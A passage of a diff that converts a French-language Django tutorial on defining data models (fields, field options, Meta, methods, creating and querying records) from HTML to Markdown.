(\[0..\*]) ce qui se traduira en définition des objets dans models.py. -<div class="note"> -<p><strong>Note :</strong> La section ci-dessous est une introduction générale à la modélisation des objets pour les modèles de données dans Django. Gardez à l'esprit la bibliothèque locale et imaginez comment devraient être décrits les objets pour cette bibliothèque.</p> -</div> +> **Note :** La section ci-dessous est une introduction générale à la modélisation des objets pour les modèles de données dans Django. Gardez à l'esprit la bibliothèque locale et imaginez comment devraient être décrits les objets pour cette bibliothèque. -<h2 id="Introduction_au_modèle_de_données">Introduction au modèle de données</h2> +## Introduction au modèle de données -<p>Cette section fournit une rapide introduction à la définition des objets de conception du modèle de données. </p> +Cette section fournit une rapide introduction à la définition des objets de conception du modèle de données. -<h3 id="Spécification">Spécification</h3> +### Spécification -<p>Les objets sont <strong>toujours</strong> définis dans le fichier <strong>models.py</strong> de chaque application. Ils sont conçus comme sous-classe de <code>django.db.models.Model</code>, et sont caractérisés par des attributs ou champs, des méthodes et des métadonnées. L'extrait ci-dessous définit donc la classe <code>MyModelName</code>:</p> +Les objets sont **toujours** définis dans le fichier **models.py** de chaque application. Ils sont conçus comme sous-classe de `django.db.models.Model`, et sont caractérisés par des attributs ou champs, des méthodes et des métadonnées. L'extrait ci-dessous définit donc la classe `MyModelName`: -<pre>from django.db import models + from django.db import models -class MyModelName(models.Model): - """A typical class defining a model, derived from the Model class.""" + class MyModelName(models.Model): + """A typical class defining a model, derived from the Model class.""" - # Fields - my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') - ... + # Fields + my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') + ... - # Metadata - class Meta: - ordering = ['-my_field_name'] + # Metadata + class Meta: + ordering = ['-my_field_name'] - # Methods - def get_absolute_url(self): - """Returns the url to access a particular instance of MyModelName.""" - return reverse('model-detail-view', args=[str(self.id)]) + # Methods + def get_absolute_url(self): + """Returns the url to access a particular instance of MyModelName.""" + return reverse('model-detail-view', args=[str(self.id)]) - def __str__(self): - """String for representing the MyModelName object (in Admin site etc.).""" - return self.my_field_name</pre> + def __str__(self): + """String for representing the MyModelName object (in Admin site etc.).""" + return self.my_field_name -<p>Détaillons ce qu'il en retourne :</p> +Détaillons ce qu'il en retourne : -<h4 id="Champs_ou_attributs">Champs ou attributs</h4> +#### Champs ou attributs -<p>Chaque objet peut contenir autant d'attributs que de besoin et de quelque type qu'il soit. Chaque attribut correspondra à une colonne - <em>ou champ</em> - dans une table de la base de données. Chaque enregistrement, ou ligne dans la table, correspondra à une instance de la classe d'objet et chaque champ sera évalué. Un champ est de la forme :</p> +Chaque objet peut contenir autant d'attributs que de besoin et de quelque type qu'il soit. Chaque attribut correspondra à une colonne - _ou champ_ - dans une table de la base de données. Chaque enregistrement, ou ligne dans la table, correspondra à une instance de la classe d'objet et chaque champ sera évalué. Un champ est de la forme : -<pre class="brush: js">my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')</pre> +```js +my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') +``` -<p>Dans l'exemple ci-dessus, le champs est une chaîne de caractères — de type <code>models.CharField</code> — dont le nom est <code>my_field_name</code>. Les champs ont des types pré-définis représentés par une classe d'objet Django qui va permettre de caractériser une champ du modèle de données. Cela permet aussi de valider les données qui seront fournies via les formulaires du site web décrits avec le langage HTML. Les classes caractérisant les type de champs peuvent accepter des paramètres pour préciser les contraintes appliquées à ce champ. Dans cet exemple, deux arguments sont indiqués :</p> +Dans l'exemple ci-dessus, le champs est une chaîne de caractères — de type `models.CharField` — dont le nom est `my_field_name`. Les champs ont des types pré-définis représentés par une classe d'objet Django qui va permettre de caractériser une champ du modèle de données. Cela permet aussi de valider les données qui seront fournies via les formulaires du site web décrits avec le langage HTML. Les classes caractérisant les type de champs peuvent accepter des paramètres pour préciser les contraintes appliquées à ce champ. Dans cet exemple, deux arguments sont indiqués : -<ul> - <li><code>max_length=20</code> — Défini que ce champs fait au plus 20 caractères.</li> - <li><code>help_text='Enter field documentation'</code> — attribue un label par défaut qui sera affiché dans la page web par le navigateur.</li> -</ul> +- `max_length=20` — Défini que ce champs fait au plus 20 caractères. +- `help_text='Enter field documentation'` — attribue un label par défaut qui sera affiché dans la page web par le navigateur. -<p>Le nom du champs sera utilisé dans les requêtes et les gabarits. Ces champs peuvent avoir une étiquette à l'aide d'un argument de définition (<code>verbose_name</code>) ou ils seront déduits à l'aide d'un changement de casse ou le remplacement des espaces par des soulignés (comme par exemple <code>my_field_name</code> serait l'étiquette par défaut du champs <em>My field name</em>).</p> +Le nom du champs sera utilisé dans les requêtes et les gabarits. Ces champs peuvent avoir une étiquette à l'aide d'un argument de définition (`verbose_name`) ou ils seront déduits à l'aide d'un changement de casse ou le remplacement des espaces par des soulignés (comme par exemple `my_field_name` serait l'étiquette par défaut du champs _My field name_). -<p>L'ordre dans lequel est défini un attribut de la classe d'objet va définir la position de la colonne dans le modèle physique de la base de données ce qui affectera, même la présentation est modifiable, la présentation par défaut des champs dans les formulaires ; c'est notamment le cas pour la partie administration du site web.</p> +L'ordre dans lequel est défini un attribut de la classe d'objet va définir la position de la colonne dans le modèle physique de la base de données ce qui affectera, même la présentation est modifiable, la présentation par défaut des champs dans les formulaires ; c'est notamment le cas pour la partie administration du site web. -<h5 id="Les_arguments_courants_des_champs">Les arguments courants des champs</h5> +##### Les arguments courants des champs -<p>Vous trouverez ci-dessous les arguments les plus utilisés dans la définition des champs :</p> +Vous trouverez ci-dessous les arguments les plus utilisés dans la définition des champs : -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#help-text">help_text</a>: définit l'étiquette du champ qui apparaîtra par défaut dans les formulaires HTML (notamment sur la section Administration du site).</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#verbose-name">verbose_name</a>: définit un nom vernaculaire du champs technique qui sera alors utilisé comme étiquette. Si ce nom n'est pas défini alors Django va le déduire du nom technique.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#default">default</a>: définit la valeur par défaut du champs. Ce peut être une valeur alphanumérique mais aussi un objet créé appelable qui sera sollicité à chaque création d'un objet appelant.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#null">null</a>: définit si le champs peut ne pas être remplit dans la base de données ; s'il est à vrai ( <code>True</code>), alors Django considère qu'une valeur <code>NULL</code> peut être correctement enregistrée - pour une chaîne de caractère de type <code>CharField</code> il s'agira d'une chaîne vide. La valeur par défaut de cet attribut est à faux (<code>False</code>) c'est-à-dire qu'il est nécessaire d'avoir une donnée non vide à l'enregistrement par défaut.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#blank">blank</a>: définit si un champ d'un formulaire peut ne pas être saisi ; s'il est à vrai (<code>True</code>), le champs peut être laissé vide dans le formulaire. Par défaut ce paramètre est à faux (<code>False</code>), ce qui traduit que Django exigera une saisie d'une information dans le champs. Ce paramètre est utilisé en complément de la valeur <code>null=True</code>, car si vous acceptez une valeur vide dans la base de données, il est inutile d'en obliger la saisie dans un formulaire web.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#choices">choices</a>: définit une liste de choix possible pour un champs et sera traduit par un composant d'interface de type liste de choix.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#primary-key">primary_key</a>: S'il est à <code>True</code>, il définit le champ comme une clé primaire, c'est-à-dire qui permet d'identifier de manière unique un enregistrement dans la table de la base de données, pour le modèle de données. S'il n'y a pas de clé primaire, Django en affectera une d'office.</li> -</ul> +- [help_text](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#help-text): définit l'étiquette du champ qui apparaîtra par défaut dans les formulaires HTML (notamment sur la section Administration du site). +- [verbose_name](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#verbose-name): définit un nom vernaculaire du champs technique qui sera alors utilisé comme étiquette. Si ce nom n'est pas défini alors Django va le déduire du nom technique. +- [default](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#default): définit la valeur par défaut du champs. Ce peut être une valeur alphanumérique mais aussi un objet créé appelable qui sera sollicité à chaque création d'un objet appelant. +- [null](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#null): définit si le champs peut ne pas être remplit dans la base de données ; s'il est à vrai ( `True`), alors Django considère qu'une valeur `NULL` peut être correctement enregistrée - pour une chaîne de caractère de type `CharField` il s'agira d'une chaîne vide. La valeur par défaut de cet attribut est à faux (`False`) c'est-à-dire qu'il est nécessaire d'avoir une donnée non vide à l'enregistrement par défaut. +- [blank](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#blank): définit si un champ d'un formulaire peut ne pas être saisi ; s'il est à vrai (`True`), le champs peut être laissé vide dans le formulaire. Par défaut ce paramètre est à faux (`False`), ce qui traduit que Django exigera une saisie d'une information dans le champs. Ce paramètre est utilisé en complément de la valeur `null=True`, car si vous acceptez une valeur vide dans la base de données, il est inutile d'en obliger la saisie dans un formulaire web. +- [choices](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#choices): définit une liste de choix possible pour un champs et sera traduit par un composant d'interface de type liste de choix. +- [primary_key](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#primary-key): S'il est à `True`, il définit le champ comme une clé primaire, c'est-à-dire qui permet d'identifier de manière unique un enregistrement dans la table de la base de données, pour le modèle de données. S'il n'y a pas de clé primaire, Django en affectera une d'office. -<p>L'ensemble <a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#field-options">des options de champs</a> peut être consulté sur le site Django.</p> +L'ensemble [des options de champs](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#field-options) peut être consulté sur le site Django. -<h5 id="Les_types_courrants_de_champs">Les types courrants de champs</h5> +##### Les types courrants de champs -<p>Vous trouverez ci-dessous les arguments les principaux type de champs :</p> +Vous trouverez ci-dessous les arguments les principaux type de champs : -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.CharField">CharField</a> caractérise un champ de type chaîne de caractères de taille maximale fixe. Ce champ nécessite l'option obligatoire <code>max_length</code> pour définir la taille maximale de la chaîne de caractère.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.TextField">TextField</a> caractérise un champs texte (de longeur non définit dans la base de données). Si l'option <code>max_length</code> est utilisé, celui-ci précisera la taille du champs texte des formulaires web mais n'aura pas d'impact dans la définition du champs en base de données.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> caractérise un champs de type nombre entier.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datefield">DateField</a> et <a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datetimefield">DateTimeField</a> sont des type utilisées pour caractériser une date et une heure comme les objets <code>datetime.date</code> et <code>datetime.datetime</code> en Python. Les options (incompatibles ensemble) les plus courantes pour ces champs sont l'enregistrement au moment de la sauvegarde (<code>auto_now=True</code>), l'enregistrement à la création de l'objet (<code>auto_now_add</code>) et une valeur par défaut (<code>default)</code> qui pourra être changée par l'utilisateur.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#emailfield">EmailField</a> est le type dédié à la gestion des courriers électroniques.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#filefield">FileField</a> et <a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#imagefield">ImageField</a> sont deux type utilisés pour permettre de télécharger des fichiers ou, plus spécifiquement des images. Les options de ces champs définissent où et comment ces fichiers seront enregistrés et conservés.</li> - <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#autofield">AutoField</a> est un type particulier de nombre entier (<code>IntegerField</code>) qui est incrémenté automatiquement. S'il n'y a pas de clé primaire automatiquement déclarée alors un champs de ce type est automatiquement déclaré dans dans le modèle de données.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#foreignkey">ForeignKey</a> est utilisé pour définir une relation un à plusieurs entre deux classe d'objet (ou deux enregistrements dans deux tables de la base de données). Plusieurs objets contenant la définition d'un champ de type <code>ForeignKey</code> peuvent faire référence à une seule et même clé ; tel est le sens de la relation un à plusieurs, ce n'est donc pas la clé étrangère qui porte la cardinalité de la relation.</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#manytomanyfield">ManyToManyField</a> est utilisé pour définir une relation n à n (e.g. un nom commun a plusieurs sens et un sens peut être décrit par plusieurs noms communs). Dans notre application bibliothèque, nous utiliserons ce type de champs d'une manière proche de la clé étrangère. Cependant, cette relation peut être utilisée pour exprimer des relations plus compliquées entre des groupes. Ce champ requiert l'option <code>on_delete</code> pour préciser le comportement de l'attribut quand l'enregistrement est supprimé (e.g. la valeur de l'attribut <code>models.SET_NULL</code> peut être affecté à <code>NULL</code>).</li> -</ul> +- [CharField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.CharField) caractérise un champ de type chaîne de caractères de taille maximale fixe. Ce champ nécessite l'option obligatoire `max_length` pour définir la taille maximale de la chaîne de caractère. +- [TextField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.TextField) caractérise un champs texte (de longeur non définit dans la base de données). Si l'option `max_length` est utilisé, celui-ci précisera la taille du champs texte des formulaires web mais n'aura pas d'impact dans la définition du champs en base de données. +- [IntegerField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.IntegerField "django.db.models.IntegerField") caractérise un champs de type nombre entier. +- [DateField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datefield) et [DateTimeField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datetimefield) sont des type utilisées pour caractériser une date et une heure comme les objets `datetime.date` et `datetime.datetime` en Python. Les options (incompatibles ensemble) les plus courantes pour ces champs sont l'enregistrement au moment de la sauvegarde (`auto_now=True`), l'enregistrement à la création de l'objet (`auto_now_add`) et une valeur par défaut (`default)` qui pourra être changée par l'utilisateur. +- [EmailField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#emailfield) est le type dédié à la gestion des courriers électroniques. +- [FileField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#filefield) et [ImageField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#imagefield) sont deux type utilisés pour permettre de télécharger des fichiers ou, plus spécifiquement des images. Les options de ces champs définissent où et comment ces fichiers seront enregistrés et conservés. +- [AutoField](https://docs.djangoproject.com/en/2.1/ref/models/fields/#autofield) est un type particulier de nombre entier (`IntegerField`) qui est incrémenté automatiquement. S'il n'y a pas de clé primaire automatiquement déclarée alors un champs de ce type est automatiquement déclaré dans dans le modèle de données. +- [ForeignKey](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#foreignkey) est utilisé pour définir une relation un à plusieurs entre deux classe d'objet (ou deux enregistrements dans deux tables de la base de données). Plusieurs objets contenant la définition d'un champ de type `ForeignKey` peuvent faire référence à une seule et même clé ; tel est le sens de la relation un à plusieurs, ce n'est donc pas la clé étrangère qui porte la cardinalité de la relation. +- [ManyToManyField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#manytomanyfield) est utilisé pour définir une relation n à n (e.g. un nom commun a plusieurs sens et un sens peut être décrit par plusieurs noms communs). Dans notre application bibliothèque, nous utiliserons ce type de champs d'une manière proche de la clé étrangère. Cependant, cette relation peut être utilisée pour exprimer des relations plus compliquées entre des groupes. Ce champ requiert l'option `on_delete` pour préciser le comportement de l'attribut quand l'enregistrement est supprimé (e.g. la valeur de l'attribut `models.SET_NULL` peut être affecté à `NULL`). -<p>L'ensemble <a href="https://docs.djangoproject.com/fr/2.2/ref/models/fields/#field-types">des types de champs</a> peut être consulté sur le site Django.</p> +L'ensemble [des types de champs](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#field-types) peut être consulté sur le site Django. -<h4 id="Métadonnées">Métadonnées</h4> +#### Métadonnées -<p>Vous avez la capacité de déclarer des métadonnées à l'aide de la classe <code>class Meta</code>, comme précisé ci-dessous :</p> +Vous avez la capacité de déclarer des métadonnées à l'aide de la classe `class Meta`, comme précisé ci-dessous : -<pre class="brush: python">class Meta: +```python +class Meta: ordering = ['-my_field_name'] -</pre> +``` -<p>L'une des fonctionnalités les plus utiles disponible à l'aide des métadonnées est de définir et contrôler le classement des enregistrements. Vous l'obtenez en précisant la liste des champs dans l'attribut <code>ordering</code> comme indiqué ci-dessous. Le classement est fonction du type de l'attribut (une chaîne de caractère a un classement alphabétique alors qu'une date a un classement chronologique). Si vous préfixez le nom du champs du signe <em>moins</em> (-) alors le classement sera naturellement inversé.</p> +L'une des fonctionnalités les plus utiles disponible à l'aide des métadonnées est de définir et contrôler le classement des enregistrements. Vous l'obtenez en précisant la liste des champs dans l'attribut `ordering` comme indiqué ci-dessous. Le classement est fonction du type de l'attribut (une chaîne de caractère a un classement alphabétique alors qu'une date a un classement chronologique). Si vous préfixez le nom du champs du signe _moins_ (-) alors le classement sera naturellement inversé. -<p>Voici un exemple de classe de livre par titre et dates de parution :</p> +Voici un exemple de classe de livre par titre et dates de parution : -<pre class="brush: python">ordering = ['title', '-pubdate']</pre> +```python +ordering = ['title', '-pubdate'] +``` -<p>Les livres sont présenté dans l'ordre alphabétique de leur titre, puis dans l'ordre chronologique du plus récent au plus ancien.</p> +Les livres sont présenté dans l'ordre alphabétique de leur titre, puis dans l'ordre chronologique du plus récent au plus ancien. -<p>Un autre attribut très utile est celui d'un nom vernaculaire pour la classe, <code>verbose_name</code> peut être au singulier et au pluriel :</p> +Un autre attribut très utile est celui d'un nom vernaculaire pour la classe, `verbose_name` peut être au singulier et au pluriel : -<pre class="brush: python">verbose_name = 'BetterName'</pre> +```python +verbose_name = 'BetterName' +``` -<p>D'autres attributs vous permettent de compléter des droits d'accès à ceux appliqués par défaut, des classements s'appuyant sur le comportement d'autres champs, ou de définir une classe abstraite (c'est-à-dire qui n'aura pas de transcription dans une table et des enregistrements, mais servira de support à d'autres classes partageant des éléments communs).</p> +D'autres attributs vous permettent de compléter des droits d'accès à ceux appliqués par défaut, des classements s'appuyant sur le comportement d'autres champs, ou de définir une classe abstraite (c'est-à-dire qui n'aura pas de transcription dans une table et des enregistrements, mais servira de support à d'autres classes partageant des éléments communs). -<p>D'autres éléments sont aussi disponibles pour contrôler le comportement d'une base de données, mais sont principalement utilisés pour appliquer le modèle ORM sur une base de données déjà existante.</p> +D'autres éléments sont aussi disponibles pour contrôler le comportement d'une base de données, mais sont principalement utilisés pour appliquer le modèle ORM sur une base de données déjà existante. -<p>L'ensemble <a href="https://docs.djangoproject.com/fr/2.2/ref/models/options/">des métadonnées de classe</a> peut être consulté sur le site Django.</p> +L'ensemble [des métadonnées de classe](https://docs.djangoproject.com/fr/2.2/ref/models/options/) peut être consulté sur le site Django. -<h4 id="Méthodes">Méthodes</h4> +#### Méthodes -<p>Comme tout objet Python, une classe héritée de <code>model</code> peut utiliser des méthodes.</p> +Comme tout objet Python, une classe héritée de `model` peut utiliser des méthodes. -<p><strong>A minima, chaque modèle de données - c'est-à-dire une classe héritée de la classe model du module django.db - vous devez définir la méthode <code>__str__()</code> pour permettre d'afficher un élément compréhensible qui représentera l'instance de la classe.</strong> Cette méthode est aussi utilisée au niveau du site d'administration pour afficher les instances de la classe administrée. La plupart du temps, cette méthode retourne un titre ou nom associé à aux objets de la classe.</p> +**A minima, chaque modèle de données - c'est-à-dire une classe héritée de la classe model du module django.db - vous devez définir la méthode `__str__()` pour permettre d'afficher un élément compréhensible qui représentera l'instance de la classe.** Cette méthode est aussi utilisée au niveau du site d'administration pour afficher les instances de la classe administrée. La plupart du temps, cette méthode retourne un titre ou nom associé à aux objets de la classe. -<pre class="brush: python">def __str__(self): - return self.field_name</pre> +```python +def __str__(self): + return self.field_name +``` -<p>Une seconde méthode très utilisée dans le cadriciel Django est <code>get_absolute_url()</code>. Elle permet de fournir un URL pour afficher dans le site web le contenu de de chacun des enregistrements associés au modèle de données décrit. Si vous utilisez cette méthode, Django ajoutera un bouton pour permet de visualiser le détail des enregistrements. Classiquement, une méthode <code>get_absolute_url()</code> est de la forme :</p> +Une seconde méthode très utilisée dans le cadriciel Django est `get_absolute_url()`. Elle permet de fournir un URL pour afficher dans le site web le contenu de de chacun des enregistrements associés au modèle de données décrit. Si vous utilisez cette méthode, Django ajoutera un bouton pour permet de visualiser le détail des enregistrements. Classiquement, une méthode `get_absolute_url()` est de la forme : -<pre class="brush: python">def get_absolute_url(self): +```python +def get_absolute_url(self): """Returns the url to access a particular instance of the model.""" return reverse('model-detail-view', args=[str(self.id)]) -</pre> +``` -<div class="note"> -<p><strong>Note :</strong> En supposant que vous allez utiliser des URLs du type <code>/myapplication/mymodelname/2</code> pour afficher individuellement les données des enregistrements de la table associée à votre modèle de données (où "2" est l'<code>id</code>entifiant d'un enregistrement donné), vous devrez créer un routage d'URL pour vous permettre de transmettre l'id à une vue détaillée de l'enregistrement (model detail view dans le cadriciel Django). Cette vue détaillée réalisera l'affichage de l'enregistrement. La fonction <code>reverse()</code> a pour objectif d'écrire l'URL dans un format cohérent avec le traitement des URL par les navigateurs.</p> +> **Note :** En supposant que vous allez utiliser des URLs du type `/myapplication/mymodelname/2` pour afficher individuellement les données des enregistrements de la table associée à votre modèle de données (où "2" est l'`id`entifiant d'un enregistrement donné), vous devrez créer un routage d'URL pour vous permettre de transmettre l'id à une vue détaillée de l'enregistrement (model detail view dans le cadriciel Django). Cette vue détaillée réalisera l'affichage de l'enregistrement. La fonction `reverse()` a pour objectif d'écrire l'URL dans un format cohérent avec le traitement des URL par les navigateurs. +> +> Bien entendu, cela requiert d'écrire le routage de l'URL, la vue et le gabarit... -<p>Bien entendu, cela requiert d'écrire le routage de l'URL, la vue et le gabarit...</p> -</div> +Vous pouvez aussi définir toute les méthodes dont vous aurez besoin pour manipuler à travers les objets du modèle de données les enregistrements de la base de données. -<p>Vous pouvez aussi définir toute les méthodes dont vous aurez besoin pour manipuler à travers les objets du modèle de données les enregistrements de la base de données.</p> +### Administration des données -<h3 id="Administration_des_données">Administration des données</h3> +A partir du moment où vous avez créé votre modèle de données, vous pouvez manipuler les instances pour créer, mettre à jour ou supprimer les enregistrements en base de données. Vous pouvez aussi faire des requêtes pour obtenir tout ou parti des enregistrements de la base. L'objet de cette section est d'évoquer la manière de manipuler ces données et sera revu progressivement dans les avancées de l'application Bibliothèque. -<p>A partir du moment où vous avez créé votre modèle de données, vous pouvez manipuler les instances pour créer, mettre à jour ou supprimer les enregistrements en base de données. Vous pouvez aussi faire des requêtes pour obtenir tout ou parti des enregistrements de la base. L'objet de cette section est d'évoquer la manière de manipuler ces données et sera revu progressivement dans les avancées de l'application Bibliothèque.</p> +#### Créer et modifier des enregistrements -<h4 id="Créer_et_modifier_des_enregistrements">Créer et modifier des enregistrements</h4> +Pour créer un enregistrement, il suffit de définir une instance de la classe d'objet et de la sauvegarder avec la méthode `save()`. -<p>Pour créer un enregistrement, il suffit de définir une instance de la classe d'objet et de la sauvegarder avec la méthode <code>save()</code>.</p> - -<pre class="brush: python"># Créer un nouvel enregistrement en utilisant la méthode d'instanciation. +```python +# Créer un nouvel enregistrement en utilisant la méthode d'instanciation. record = MyModelName(my_field_name="Instance #1") # Sauvegarde de l'enregistrement en base de données. record.save() -</pre> +``` -<div class="note"> -<p><strong>Note :</strong> Si aucun champs n'a été défini comme une clé primaire (option <code>primary_key</code>), un champs nommé <code>id</code> ou <code>pk</code> sera affecté au modèle et sera incrémenté automatiquement. Vous pouvez requêter cet enregistrement à l'aide de ce champ ; le premier enregistrement aura habituellement la valeur entière 1.</p> -</div> +> **Note :** Si aucun champs n'a été défini comme une clé primaire (option `primary_key`), un champs nommé `id` ou `pk` sera affecté au modèle et sera incrémenté automatiquement. Vous pouvez requêter cet enregistrement à l'aide de ce champ ; le premier enregistrement aura habituellement la valeur entière 1. -<p>Les champs de l'enregistrement sont accessibles à l'aide des attributs de la classe d'objet. En utilisant la syntaxe pointée, vous pouvez modifier les valeurs des champs de l'enregistrement. Vous devez utiliser la méthode <code>save()</code> pour enregistrer en base de données les modifications.</p> +Les champs de l'enregistrement sont accessibles à l'aide des attributs de la classe d'objet. En utilisant la syntaxe pointée, vous pouvez modifier les valeurs des champs de l'enregistrement. Vous devez utiliser la méthode `save()` pour enregistrer en base de données les modifications. -<pre class="brush: python"># Accès au valeur des champs par le biais des attributs de classe Python. +```python +# Accès au valeur des champs par le biais des attributs de classe Python. print(record.id) # devrez retourner la valeur 1 pour le premier en enregistrement. print(record.my_field_name) # devrez afficher 'Instance #1' # Changer la valeur d'un champs et le sauvegarder en base avec la méthoide save(). record.my_field_name = "New Instance Name" -record.save()</pre> +record.save() +``` -<h4 id="Rechercher_des_enregistrements">Rechercher des enregistrements</h4> +#### Rechercher des enregistrements -<p>La classe de base <code>objects</code> permet de faire des recherches d'enregistrement qui correspondront aux critères de recherche souhaités.</p> +La classe de base `objects` permet de faire des recherches d'enregistrement qui correspondront aux critères de recherche souhaités. -<div class="note"> -<p><strong>Note :</strong> Nous utiliserons dans les explications le modèle de données d'un livre (<code>Book</code>)avec des titres (<code>title</code>) et des genres littéraires (<code>genre</code>), car expliquer la manière de rechercher sur un modèle théorique n'est pas très pédagogique.</p> -</div> +> **Note :** Nous utiliserons dans les explications le modèle de données d'un livre (`Book`)avec des titres (`title`) et des genres littéraires (`genre`), car expliquer la manière de rechercher sur un modèle théorique n'est pas très pédagogique. -<p>Vous pouvez obtenir tous les enregistrements d'un modèle de données sous la forme d'un jeu de données ou <code>QuerySet</code>, en utilisant <code>objects.all()</code>. Un <code>QuerySet</code> est un objet itérable, c'est-à-dire jeu de données contenant des objets que l'on peut parcourir.</p> +Vous pouvez obtenir tous les enregistrements d'un modèle de données sous la forme d'un jeu de données ou `QuerySet`, en utilisant `objects.all()`. Un `QuerySet` est un objet itérable, c'est-à-dire jeu de données contenant des objets que l'on peut parcourir. -<pre class="brush: python">all_books = Book.objects.all() -</pre> +```python +all_books = Book.objects.all() +``` -<p>Un filtre Django ou <code>filter()</code> est une méthode qui permet de sélectionner un jeu de données répondant à des critères (texte ou numérique) de sélection. Par exemple, nous filtrons les livres dont le titre contient le mot "wild", puis nous dénombrons le jeu de données.</p> +Un filtre Django ou `filter()` est une méthode qui permet de sélectionner un jeu de données répondant à des critères (texte ou numérique) de sélection. Par exemple, nous filtrons les livres dont le titre contient le mot "wild", puis nous dénombrons le jeu de données. -<pre class="brush: python">wild_books = Book.objects.filter(title__contains='wild') +```python +wild_books = Book.objects.filter(title__contains='wild') number_wild_books = wild_books.count() -</pre> +``` -<p>Les arguments passés en option sont le champs et la nature du contrôle à effectuer. On utilise le format : <code>field_name__match_type</code> : dans l'exemple ci-dessus, le double sous-ligné marque la séparation entre le champ <code>title</code> et le type de contrôle <code>contains</code> ; concrètement, le filtre est appliqué sur le champ <code>title</code> contenant le mot <code>wild</code> en respectant la casse. Il existe d'autres options de contrôle : <code>icontains</code> (sans respect de la casse), <code>iexact</code> (le champs correspond exactement à la valeur donnée sans respect de la casse), <code>exact</code> (idem en respectant la casse) et <code>in</code>, <code>gt</code> (plus grand que), <code>startswith</code>(commence par), etc. La liste complète est <a href="https://docs.djangoproject.com/fr/2.2/ref/models/querysets/#field-lookups">consultable sur la documentation de Django</a>.</p> +Les arguments passés en option sont le champs et la nature du contrôle à effectuer. On utilise le format : `field_name__match_type` : dans l'exemple ci-dessus, le double sous-ligné marque la séparation entre le champ `title` et le type de contrôle `contains` ; concrètement, le filtre est appliqué sur le champ `title` contenant le mot `wild` en respectant la casse. Il existe d'autres options de contrôle : `icontains` (sans respect de la casse), `iexact` (le champs correspond exactement à la valeur donnée sans respect de la casse), `exact` (idem en respectant la casse) et `in`, `gt` (plus grand que), `startswith`(commence par), etc. La liste complète est [consultable sur la documentation de Django](https://docs.djangoproject.com/fr/2.2/ref/models/querysets/#field-lookups). -<p>Le marqueur "double souligné" permet de construire une chaîne de navigation à travers les objets lorsque le champ considéré est une clé étrangère (<code>ForeignKey</code>). C'est systématiquement le cas lorsque l'on doit filtrer sur une propriété d'un attribut dans une relation un-à-un. Dans ce cas (exemple ci-dessous), vous identifiez l'attribut de la clé étrangère par le biais d'un "double souligné" qui indique le champs à filter. L'exemple ci-dessous indique que vous filtrez les livres selon le nom (<code>name</code>) du genre (<code>genre</code>) du livre.</p> +Le marqueur "double souligné" permet de construire une chaîne de navigation à travers les objets lorsque le champ considéré est une clé étrangère (`ForeignKey`). C'est systématiquement le cas lorsque l'on doit filtrer sur une propriété d'un attribut dans une relation un-à-un. Dans ce cas (exemple ci-dessous), vous identifiez l'attribut de la clé étrangère par le biais d'un "double souligné" qui indique le champs à filter. L'exemple ci-dessous indique que vous filtrez les livres selon le nom (`name`) du genre (`genre`) du livre. -<pre class="brush: python"># Le critère s'appliquera sur les genres contenant 'fiction' i.e. : Fiction, Science fiction, non-fiction etc. -books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') -</pre> +```python +# Le critère s'appliquera sur les genres contenant 'fiction' i.e. : Fiction, Science fiction, non-fiction etc. +books_containing_genre = Book.objects.filter(genre__name__icontains='fiction') +``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez construire une chemin pour naviguer dans autant de niveaux de relation (<code>ForeignKey</code>/<code>ManyToManyField</code>) que vous en avez besoin en concaténant des noms de champs à l'aide (__) . Si par exemple vous souhaitez trouver un livre (<code>Book</code>) qui possède différents type (<code>type</code>) de couvertures (<code>cover</code>) identifiées par des noms (<code>name</code>) alors le chemin sera du type : <code>type__cover__name__exact='hard'.</code></p> -</div> +> **Note :** Vous pouvez construire une chemin pour naviguer dans autant de niveaux de relation (`ForeignKey`/`ManyToManyField`) que vous en avez besoin en concaténant des noms de champs à l'aide 